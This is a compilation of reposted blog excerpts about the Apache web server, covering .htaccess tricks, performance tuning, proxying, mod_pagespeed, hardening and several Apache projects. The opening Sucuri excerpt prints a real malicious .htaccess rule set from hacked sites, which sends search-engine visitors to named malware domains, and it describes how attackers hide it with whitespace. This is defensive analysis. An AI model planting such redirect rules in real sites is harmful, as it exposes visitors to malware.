Understanding .htaccess attacks – Part 1

Attackers have been using the .htaccess file for a while. They use this file to hide malware, to redirect search engines to their own sites (think blackhat SEO), and for many other purposes (hide backdoors, inject content, to modify the php.ini values, etc).

Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a hidden file (starting with a “.”), so some site owners might not find them in their FTP clients. Secondly, it is a powerful file that allows you to make multiple changes to the web server and PHP behavior. This makes a .htaccess the attack hard to find and to clean up.

1- Redirecting users coming from search engines to malware

This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site:

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.* [OR]

RewriteCond %{HTTP_REFERER} .*ask.* [OR]

RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]

RewriteCond %{HTTP_REFERER} .*baidu.* [OR]

..

RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]

RewriteCond %{HTTP_REFERER} .*flickr.*

RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://villusoftreit.ru/in.cgi?3). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.

Below is another example of the same attack, but this time redirecting to http://globalpoweringgatheringon.com/in.php?n=30 (one of those Hilary kneber domains). Note that this time, they’v added hundreds of white spaces before the “RewriteCond” to make it harder to see in a text editor (We removed below to make easier to read in the post).

Read more: Sucuri

Posted via email from Jasper-Net

Improving web performance with Apache and htaccess

Web performance is getting more and more attention from web developers and is one of the hottest topic in web development.

Fred Wilson considered it at 10 Golden Principles of Successful Web Apps as the #1 principle for successful web apps.

First and foremost, we believe that speed is more than a feature. Speed is the most important feature. If your application is slow, people won’t use it.

The good news is that some of the most important speed optimizations can be easily done with simple .htaccess rules. These rules can make any website faster by compressing content and enabling browser cache. For more information on .htaccess files, see the .htaccess tutorial.

If you are just looking for the final .htaccess file, jump to the end of this article.

Faster website means more revenue and traffic

For Amazon, every 100 milliseconds delay costs 1% of sales. (Source: Design Fast Websites)

For Google, half a second slowdown resulted in a 20% drop in traffic. (Source: Speed Matters)

Google experiments reached similar results:

Our experiments demonstrate that slowing down the search results page by 100 to 400 milliseconds has a measurable impact on the number of searches per user of -0.2% to -0.6% (averaged over four or six weeks depending on the experiment). That’s 0.2% to 0.6% fewer searches for changes under half a second!

And speed is now a factor contributing to Google Page Rank:

Google, in their ongoing effort to make the Web faster, blogged last month that “we’ve decided to take site speed into account in our search rankings.” This is yet another way in which improving web performance will have a positive impact on the bottom line.

Compress content

Compression reduces response times by reducing the size of the HTTP response.

It’s worthwhile to gzip your HTML documents, scripts and stylesheets. In fact, it’s worthwhile to compress any text response including XML and JSON.

Image and PDF files should not be gzipped because they are already compressed. Trying to gzip them not only wastes CPU but can potentially increase file sizes.

To compress your content, Apache 2 comes bundled with the mod_deflate module.

The mod_deflate module provides the DEFLATE output filter that allows output from your server to be compressed before being sent to the client over the network.

The following rule will gzip all your *.css, *.js, *.html, *.html, *.xhtml, and *.php files:

<ifModule mod_deflate.c>

  AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/css text/javascript application/javascript application/x-javascript

</ifModule>

Read more: samaxes

Posted via email from Jasper-Net

5 Realistic Alternatives to Apache and IIS

Many of these alternative web servers are free to use. Nearly all offer a lightweight, highly scalable server solution. Some even outperform both Apache and IIS in terms of overall speed. The 5 web servers we will be looking at as real alternatives to Apache and IIS are:

Nginx

LiteSpeed

Lighttpd

Hiawatha

Cherokee

Read more: Slodive

Posted via email from Jasper-Net

10 Tips to Secure Your Apache Web Server on UNIX / Linux

If you are a sysadmin, you should secure your Apache web server by following the 10 tips mentioned in this article.

1. Disable unnecessary modules

If you are planning to install apache from source, you should disable the following modules. If you do ./configure –help, you’ll see all available modules that you can disable/enable.

userdir – Mapping of requests to user-specific directories. i.e ~username in URL will get translated to a directory in the server

autoindex – Displays directory listing when no index.html file is present

status – Displays server stats

env – Clearing/setting of ENV vars

setenvif – Placing ENV vars on headers

cgi – CGI scripts

actions – Action triggering on requests

negotiation – Content negotiation

alias – Mapping of requests to different filesystem parts

include – Server Side Includes

filter – Smart filtering of request

version – Handling version information in config files using IfVersion

as-is – as-is filetypes

Disable all of the above modules as shown below when you do ./configure

./configure \

--enable-ssl \

--enable-so \

--disable-userdir \

--disable-autoindex \

--disable-status \

--disable-env \

--disable-setenvif \

--disable-cgi \

--disable-actions \

--disable-negotiation \

--disable-alias \

--disable-include \

--disable-filter \

--disable-version \

--disable-asis

If you enable ssl, and disable mod_setenv, you’ll get the following error.

Error: Syntax error on line 223 of /usr/local/apache2/conf/extra/httpd-ssl.conf: Invalid command ‘BrowserMatch’, perhaps misspelled or defined by a module not included in the server configuration

Solution: If you use ssl, don’t disable setenvif. Or, comment out the BrowserMatch in your httpd-ssl.conf, if you disable mod_setenvif.

After the installation, when you do httpd -l, you’ll see all installed modules.

Read more: The geek stuff

Posted via email from Jasper-Net

Improve Website Speed With mod_pagespeed

Few months earlier, Google announced about their new developed Apache module, mod_pagespeed on their googlewebmaster's blog post. This is a apache module, which can be installed just like other apache modules and its command directives can be used on .htaccess file(If you don't know anything about using htaccess command directives, you are gladly invited to my another tutorial about apche htaccess tutorial for beginners).

Although Google mention that they are working with Godaddy to provide its support, Godaddy didn't instantly start supporting this on their hosting plans. After a few months of testing, Godaddy currently providing supports of this module for being used by its customers on linux shared hosting plans. As my hosting is also on Godaddy, i have come to experience it and found pretty much impressing. So, i decided to share some basic overview and quick start instructions about it. In this tutorial, I will show you how you can start using it very easily and can improve/optimize your website's performance.

Which Servers Supports mod_pagespeed?

As far I know, currently, Godaddy and Dreamhost have support for mod_pagespeed on their shared hosting environment. If you are using some other hosting, please check with them whether they supports or planning to supports in near future. Otherwise, if you using dedicated server, you can install mod_pagespeed yourself easily.

Basic htaccess structure for using mod_pagespeed:

To use mod_pagespeed on your server, first a .htaccess file is required on the hosting root directory. on the .htaccess file, use the following code snippet anywhere in the file(top/bottom, doesn't matter, just shouldn't be inside another module's code block):

<IfModule pagespeed_module>
  ModPagespeed on
  # using commands,fileters etc
</IfModule>

mod_pagespeed filters references:

Although there is a rich set of filters provided by mod_pagespeed module, my hosting provider, godaddy, doesn't support all. So, i didn't try all yet. But hope the following ones will be mostly help you to get a already a better result and help you get very good idea to use them and you can use others also without much hassle.

Read more: Codesamplez.com

Posted via email from Jasper-Net

Reactor Service Bus

Project Description

Reactor Service Bus is a light weight .Net service bus built upon the Apache NMS messaging API. It provides a rich subscription model and built in load balancing features for consumers.

The Reactor Service Bus isn't just another .Net service bus. Although it provides a similar programming interface to other .Net service bus frameworks on the market, it’s built upon the Apache .Net Messaging API, which allows Reactor Service Bus to connect to multiple providers or transports using a single API. NMS is modeled to implement the JMS specification, which provides powerful features not found in non-JMS based messaging brokers.

Currently, Reactor Service Bus can integrate with the following transports:

ActiveMQ
TIBCO EMS
MSMQ
MS WCF
Any STOMP broker

Transactional

Reactor Service Bus uses standard messaging transactions to handle failures. If the handling of an incoming message fails, the bus places the message back on the queue from which it was delivered. To avoid “flip-flop” delivery, a configurable maximum number of deliveries is evaluated each time the message fails. Once this maximum number of deliveries is met, the message is placed in the dead letter queue for later intervention and processing.

Easy Configuration

Although Reactor Service Bus contains many extension points, it is easily configured through a succinct configuration API and conventional application configuration. Reactor Service Bus is container-agnostic and provides the following 5 adapters to integrate IoC containers for it's use:

Unity
Windsor
StructureMap
Spring.Net
Ninject

Read more about how to use the adapters in the Containers section of our documentation.

Simplified Programming Model

The standard JMS programming model can be cumbersome. Imagine writing ADO.Net "plumbing" code to access all of your data. While easy to use, certain pieces of plumbing, such as connections are better abstracted. Reactor Service Bus uses a programming model similar to other .Net service bus frameworks on the market. Creating message handlers that either listen to queues or topics is as easy as implementing a simple interface and decorating the class with attributes that declaratively specify what queue or topic the message is expected on.

Read more: Codeplex

Posted via email from Jasper-Net

Apache NMS project

Welcome to the Apache NMS project, the .NET Messaging API.
NMS API Overview

• The NMS API This allows you to build .NET applications in C#, VB, or any other .NET language, using a single API to connect to multiple different providers using a JMS style API.

NMS Providers

An NMS Provider is a .NET Assembly that provides an implementation of the NMS API that provides connectivity with a particular Messaging Service or an implementation of a standard Messaging Protocol. Currently, the following providers are available:

• ActiveMQ client which communicates with ActiveMQ using its own native wire protocol and provides many advanced features beyond the standard NMS API.
• STOMP which connects to any STOMP Broker.  Also, when coupled with StompConnect, NMS can be used to communicate with pretty much any existing MOM provider! (Or at least those that support JMS which most MOM providers do).
• MSMQ is an implementation of NMS using Microsoft's MSMQ API.
• EMS provider for talking to TIBCO's EMS message broker.  To use this, you will need to following TIBCO's licensing requirements to acquire the TIBCO client assembly DLL.  NMS does not ship with the TIBCO client assembly.
• WCF provides support of Windows Communications Framework.

Read more: Apache MQ

Posted via email from Jasper-Net

Apache Axis2™

Apache Axis2™ is a Web Services / SOAP / WSDL engine, the successor to the widely used Apache Axis SOAP stack. There are two implementations of the Apache Axis2 Web services engine - Apache Axis2/Java and Apache Axis2/C

While you will find all the information on Apache Axis2/Java here, you can visit the Apache Axis2/C Web site for Axis2/C implementation information.

Apache Axis2, Axis2, Apache, the Apache feather logo, and the Apache Axis2 project logo are trademarks of The Apache Software Foundation.

Read more: Apache

Setting up Apache Axis2 on windows

Download Apache Axis2 and extract the downloaded zip file to a desired location. Make two new environment variables set first one's variable name as AXIS2_HOME and variable value as path to Axis2 home folder(in my case it is C:\Users\thilini\Desktop\axis2-1.5.4) and second one's variable name as JAVA_HOME and variabale value as path to Java home folder(in my case it is C:\Program Files\Java\jdk1.6.0_16). Goto bin folder inside Axis2 home folder and double click on axis2server.bat file to start Axis2 service. Now it's time to test whether installation is successful or not. Just fire up a web browser and paste the following address in address bar http://localhost:8080/axis2/services/. If installation is successful it will list down a service called "Version".

Read more: EVIAC

Posted via email from Jasper-Net

Apache Camel

Apache Camel is an open-source framework to exchange, route and transform data using various protocols. It is prepackaged with components for dealing with various backend systems and powerful routing and filter capabilities.

Web Site: http://camel.apache.org
Version discussed: Apache Camel 2.4.0
License & Pricing: Open Source with commercial support and packaging by FUSE
Support: User mailing list, developer mailing list, Internet Relay Chat, Fuse forums. Only the book "Camel in Action" by Manning is currently available.

1. Introduction

The need to exchange data between different applications and environments is as old as software development. Every application is built with a specific idea in mind and has its respective data model and data format most suited for the task. The task to get data exchanged among systems is always present, when dealing with more than two or three applications. Often, third party software offers export and import interfaces, such as comma-separated value (CSV), but these are most of the time not sufficient. A different data structure, the incorporation of other information pieces, or the filtering of certain parts, are typically requirements.

In the past, this was solved either by inhouse development efforts, resulting in dedicated glue or by using special, proprietary application suites. Nowadays, this can be solved with open source frameworks, bringing systems integration to a commodity level.

This article introduces you to Apache Camel, one of those integration frameworks.

1.1 Overview of Enterprise Application Integration (EAI)
During the evolution of systems and their respective integration, methodologies and patterns for typical challenges have been documented.

1.1.1 Challenges
When integrating two systems, you typically face several, quite common, issues:
You must access and interact with the system. This is about the technical access to the system, by means of API, file access or database connectivity.

You must transform incoming data into what is understood by the external system. This is about converting data from one format to another. This not only means data, but also file formats, protocols and alike.

You may need to distribute data or process only specific sets of data. This deals with routing and filter capabilities.

These issues can be solved in an application specific way, although this limits reusability and slows down the process considerably by reinventing the wheel, over and over again. Therefore, best practices were extracted, discussed and documented.

1.1.2 Typical tasks
To solve connectivity issues, the typical solution or framework comes with a set of pre-packaged components for accessing often used resources, such as web services, file systems, databases, HTTP URLs.

Proprietary solutions typically also extend this to other vendor products, such as SAP or Siebel, but open source frameworks mostly limit this to open-standards resources.

Read more: methodsandtools

Posted via email from Jasper-Net

.HTACCESS FILE GENERATOR

Almost all options of .htaccess file on one page with check-boxes, text fields and 'Generate htaccess' button on bottom

Read more: Htaccess file generator

Posted via email from Jasper-Net

Устанавливаем Apache 2, PHP 5.3 и MySQL 5.1 на CentOS 5.4/5.5

В моей работе мне чаще всего приходится работать с системами на Debian или Ubuntu, но в этот раз новый сервер оказался на CentOS, а так как с этой системой я сталкиваюсь впервые, то пришлось немного «погуглить», прежде чем освоиться в ней. Для начала необходимо было развернуть web сервер для проектов, то есть поставить Apache+PHP и MySQL. Впоследствии необходимо будет настроить эти компоненты, а так же установить и настроить nginx, но пока не об этом.

В качестве установщика пакетов здесь используется yum вместо привычного apt-get, что в принципе и понятно,т.к. данный дистрибутив основан на коммерческом Red Hat Enterprise Linux компании Red Hat, и совместимый с ним. Да и сам Apache называется не apache2, а httpd.
Ну что же, приступим к установке и настройке нашего веб-сервера.

1. Зайдем под пользователем root
su -
## Или ##
sudo -i

2. Добавим репозиторий Remi
В данном репозитории находятся новые пакеты, например там лежит php-5.3, т.к. в стандартном репозитории php ещё версии 5.1.6

## Remi Dependency on CentOS and Red Hat (RHEL)
rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-5.rpm
Стоит заметить, что на момент написания статьи последний релиз epel был 5.4 и он может в будущем измениться. За ссылкой на последнюю версию epel можно обратиться вот сюда

3. Установим Apache (httpd) Web server и PHP 5.3

Read more: Блог Вячеслава Волкова

Posted via email from .NET Info

Apache mod_proxy abuse

This week I learned the hard way that you have to watch out with apache mod_proxy, especially when you are using the option ProxyRequests On and ProxyPass, my Apache server was being abused as a proxy!

What happened?

Last week I noticed that my Apache access.log was growing rapidly, 400MB each day?! Looking at the log file it had only entries with requests for unknow URLs and my server replied with a HTTP 200 response, NOT GOOD! My Apache server was being abused as a proxy for other sites, argh! I did some research and found that my server was totally open for abuse. Mainly due to my lacking knowledge of Apache`s mod_proxy.
How to test if your server can be abused?
To test if your Apache server is abusable, open the command prompt and run telnet:

telnet yoursite.example.com 80

Paste the following to the telnet console and press enter twice, retrieving content from yahoo? Read on!

GET http://www.yahoo.com/ HTTP/1.1
Host: www.yahoo.com

Securing your Apache server

Start with limiting global mod_proxy access. Add the following fragment to your httpd.conf:
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
# Disable proxy requests, using ProxyPass in vhost
ProxyRequests Off
# Block all requests
<Proxy *>
 Order deny,allow
 Deny from all
</Proxy>

This denies proxy access for all incoming requests. Your server is not accepting proxy requests anymore. Now we can explicitly open proxy requests for virtual_hosts that need to do proxying. For example, I run another internal server that needs to be exposed to the outside world via my Apache server.

Read more: oudmaijer .com

Posted via email from .NET Info

ModSecurity Advanced Topic of the Week: Mitigating Slow HTTP DoS Attacks

With the recent OWASP AppSec DC presentation on Slow HTTP POST DoS attacks, the issue of web server platform DoS concerns have reached a new high.  Notice that I said, web server platform and not web application code.  The attack scenario raised by slow HTTP POST attack is related to web server software (Apache, IIS, SunONE, etc...) and can not be directly mitigated by the application code.  In the blog post, we will highlight the two main varieties of slow HTTP attacks - slow request headers and slow request bodies.  We will then provide some new mitigation options for the Apache web server platform with ModSecurity.

Network DoS vs. Layer-7 DoS
Whereas network level DoS attacks aim to flood your pipe with lower-level OSI traffic (SYN packets, etc...), web application layer DoS attacks can often be achieved with much less traffic.  The point here is that the amount of traffic which can often cause an HTTP DoS condition is often much less than what a network level device would identify as anomalous and therefore would not report on it as they would with traditional network level botnet DDoS attacks.
Layer-7 Connection Consumption Attacks
Ivan Ristic brought up the concept of connection consumption attacks in his 2005 book "Apache Security":

5.4.3. Programming Model Attacks
The brute-force attacks we have discussed are easy to perform but may require a lot of bandwidth, and they are easy to spot. With some programming skills, the attack can be improved to leave no trace in the logs and to require little bandwidth.
The trick is to open a connection to the server but not send a single byte. Opening the connection and waiting requires almost no resources by the attacker, but it permanently ties up one Apache process to wait patiently for a request. Apache will wait until the timeout expires, and then close the connection. As of Apache 1.3.31, request-line timeouts are logged to the access log (with status code 408). Request line timeout messages appear in the error log with the level info. Apache 2 does not log such messages to the error log, but efforts are underway to add the same functionality as is present in the 1.x branch.

Read more: SpiderLabs

Posted via email from .NET Info

Simple Apache Proxying

I was recently working with Apache and a service running on Kris Zyp's Persevere project (which is beyond awesome).  Persevere was pushing messages to my application which was running on Apache; the problem was that Persevere and Apache were running on different ports which technically made them cross-domain.  In order to make the server believe the web service was on the same domain/port, I needed to use Apache proxying.  I opened the conf/httpd.conf file and added the following magic to make that possible:

# Proxy requests to /data to persevere
ProxyPass /service http://localhost:8080/Status
ProxyPassReverse /service/ http://localhost:8080/Status
RewriteRule ^/service$ http://localhost:8080/Status$1 [P,L]

Now any reference to the directory "/Status" is proxied to the other port to receive the data!

Read more: David Walsh Blog

Posted via email from .NET Info

Google to help in making your website faster

oogle is obsessed with speed and it had indicated in past that it will penalize sites in rankings which are slow . Of course people love google because of the speed with which it can give accurate search results. Slow sites will do more harm to google. Now google has released a module for apache http server called mod_pagespeed to reduce the response time and would make your site faster.
From google’s official blog
So today, we’re introducing a module for the Apache HTTP Server called mod_pagespeed to perform many speed optimizations automatically. We’re starting with more than 15 on-the-fly optimizations that address various aspects of web performance, including optimizing caching, minimizing client-server round trips and minimizing payload size. We’ve seen mod_pagespeed reduce page load times by up to 50% (an average across a rough sample of sites we tried) — in other words, essentially speeding up websites by about 2x, and sometimes even faster.
Read more: Skill Guru

Read more: Google

Posted via email from .NET Info

Apache Hadoop: Best Practices and Anti-Patterns

Apache Hadoop is a software framework to build large-scale, shared storage and computing infrastructures. Hadoop clusters are used for a variety of research and development projects, and for a growing number of production processes at Yahoo!, EBay, Facebook, LinkedIn, Twitter, and other companies in the industry. It is a key component in several business critical endeavors representing a very significant investment and technology component. Thus, appropriate usage of the clusters and Hadoop is critical in ensuring that we reap the best possible return on this investment.
This blog post represents compendium of best practices for applications running on Apache Hadoop. In fact, we introduce the notion of aGrid Pattern which, similar to a Design Pattern, represents a general reusable solution for applications running on the Grid.
This blog post enumerates characteristics of well behaved applications and provides guidance on appropriate uses of various features and capabilities of the Hadoop framework. It is largely prescriptive in its nature; a useful way to look at this document is to understand that applications that follow, in spirit, the best practices prescribed here are very likely to be efficient, well-behaved in the multi-tenant environment of the Apache Hadoop clusters, and unlikely to fall afoul of most policies and limits.
This blog post also attempts to highlight some of the anti-patterns for applications running on the Apache Hadoop clusters.
Overview
Applications processing data on Hadoop are written using the Map-Reduce paradigm.
A Map-Reduce job usually splits the input data-set into independent chunks, which are processed by the map tasks in a completely parallel manner. The framework sorts the outputs of the maps, which are then input to the reduce tasks. Typically both the input and the output of the job are stored in a file-system. The framework takes care of scheduling tasks, monitoring them and re-executes the failed tasks.
Read more: Yahoo developer network

Posted via email from .NET Info

17 Useful Htaccess Tricks and Tips

Introduction
Some people might not aware of the power of htaccess, I have 17 htaccess methods in this article which I have used or tested it before, and I think some of them are essential tricks and tips to protect your webserver against malicious attacks and other would able to perform simple tasks efficiently such as redirection and web server optimization.
Last but not least, if you have been looking for web hosting services, you might want to have a look at this unlimited web hosting. :)
General
The following htaccess will able to help you to achieve simple task such as redirection and web server optimization.
1. Set Timezone
Sometimes, when you using date or mktime function in php, it will show you a funny message regarding timezone. This is one of the way to solve it. Set timezone for your server. A list of supported timezone can be found here
SetEnv TZ Australia/Melbourne
2. SEO Friendly 301 Permanent Redirects
Why it's SEO friendly? Nowadays, some modern serach engine has the capability to detect 301 Permanent Redirects and update its existing record.
Redirect 301 http://www.queness.com/home http://www.queness.com/
3. Skip the download dialogue
Usually when you try to download something from a web server you get a request asking whether you want to save the file or open it. To avoid that you can use the below code on your .htaccess file
AddType application/octet-stream .pdf
AddType application/octet-stream .zip
AddType application/octet-stream .mov
4. Skip www
One of the SEO guideline is, make sure there is only one URL pointing to your website. Therefore, you will need this to redirect all www traffic to non-ww, or the other way around.
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^www.queness.com [NC]
RewriteRule ^(.*)$ http://queness.com/$1 [L,R=301]
Read more: Queness

Posted via email from .NET Info

Google open sources Apache server speed mod

Google has open sourced an Apache server module designed to speed website performance. Presumably, the module is based on the mystery Google Web Server the company uses to serve its own pages.
Known as "mod_pagespeed," the Apache module speeds performance "on the fly" in 15 separate ways, which include optimizing page caching, minimizing client-server round trips, and reducing payload size. "mod_pagespeed is an open-source Apache module that automatically optimizes web pages and resources on them," Google says. "It does this by rewriting the resources using filters that implement web performance best practices. Webmasters and web developers can use mod_pagespeed to improve the performance of their web pages when serving content with the Apache HTTP Server."
The module can change pages built by your content management system (CMS) without requiring changes to the CMS itself, and when an image's HTML context changes, it can re-compress the image so that only the required bytes are served. It includes several filters for optimizing JavaScript, HTML, and CSS stylesheets, and additional filters for JPEG and PNG images.
Google says it has seen the module reduce page load times by up to 50 per cent on a random sample of sites. "In other words, [it's] essentially speeding up websites by about 2x, and sometimes even faster," the company said in a blog post.
Read more: The Register
Read more: Mod

Posted via email from .NET Info

Getting Started with Apache CXF Web Services

Before I get into the details of Apache CXF, this section presents a simple, yet complete, example of a RESTful web service built with Apache CXF. Specifically it includes the following technologies:

• ApacheCXF's Servlet that translates requests to specific URIs to specific method invocations
• Spring to implement the service
• JAXB to perform the XML binding
• XSD to represent the communication “contract” that the service exposes; also used by JAXB to generate model classes for the service
• Maven as the build / project lifecycle management tool

The process for building an Apache CXF RESTful web service can be summarized as follows:

1. Create a new Maven web application
2. Update the POM file to include the ApacheCXF JAX-RS library, which in turn includes all of its dependencies
3. Update the POM to include any other dependencies, such as Spring
4. Update the web application's web.xml file to define the CXFServlet and map all (or some, depending on your application) requests to it
5. Configure Spring in the web.xml file to load an application context XML file

Read more: InformIT

Posted via email from .NET Info

Build your own development server with Apache, Subversion and Trac

This is one of the most appreciated articles coming from my blog; the original title is: Install Tutorial: Ubuntu 9.04, Apache with SSL, Subversion over HTTP / HTTPs, and Trac. Despite the fact that it's 1 year old now, I still receive appreciation comments; so I am pretty sure that following the instructions you'll have no big issues with the latests version available.
Trac is not very easy to install, as well as setting up Apache web server with https and integrating that with Subversion, and all together.
You may want to try to install this on a virtual machine, to make a "dry run", before releasing your development server in production. One thing that is missing for a developement server worthy of the name, is a continuous integration server. Of course, my choice would go to Hudson, which is also very easy to install and integrate with your favourite scm. Integrating Hudson with apache and trac would be a good extension of this tutorial, that I will probably write in a second time. And I would like also to write down how to set up a good environment to work with git and gitosis. It's in my todo list; in the meantime, this is a very good tutorial to start with gitosis: Hosting Git repositories, The Easy (and Secure) Way.
If you are looking for a Linux hosting, I suggest the one I am using, slicehost. An alternative to trac, could be Redmine, I used it a little bit for some experiments, and was very nice.
The good thing about this "installation tutorial" is that is modular: you can follow just the installation of the components you are interested about, and leave the things that you don't need, or replace them with something else. Hope you'll find it useful.
Introduction
This tutorial will guide you through installation of Apache, HTTPS, Subversion and Trac, in order to have an (almost) complete development environment for your team.
This article is divided in following steps
1. Installing Subversion
2. Installing Apache
3. Configuring Apache with SSL
4. Configuring Subversion with Apache (and SSL)
5. Installing Trac
You may choose for example to see how to install Apache and SSL, or having Apache plus subversion without Trac.
Steps are voluntary isolated, and will require more operations than, for instance, issuing an "apt-get install trac" that will download and install all the packages in one step; but this will hopefully allow the readers to choose picking one section and forget about unneeded components.
Read more: JavaLobby

Posted via email from .NET Info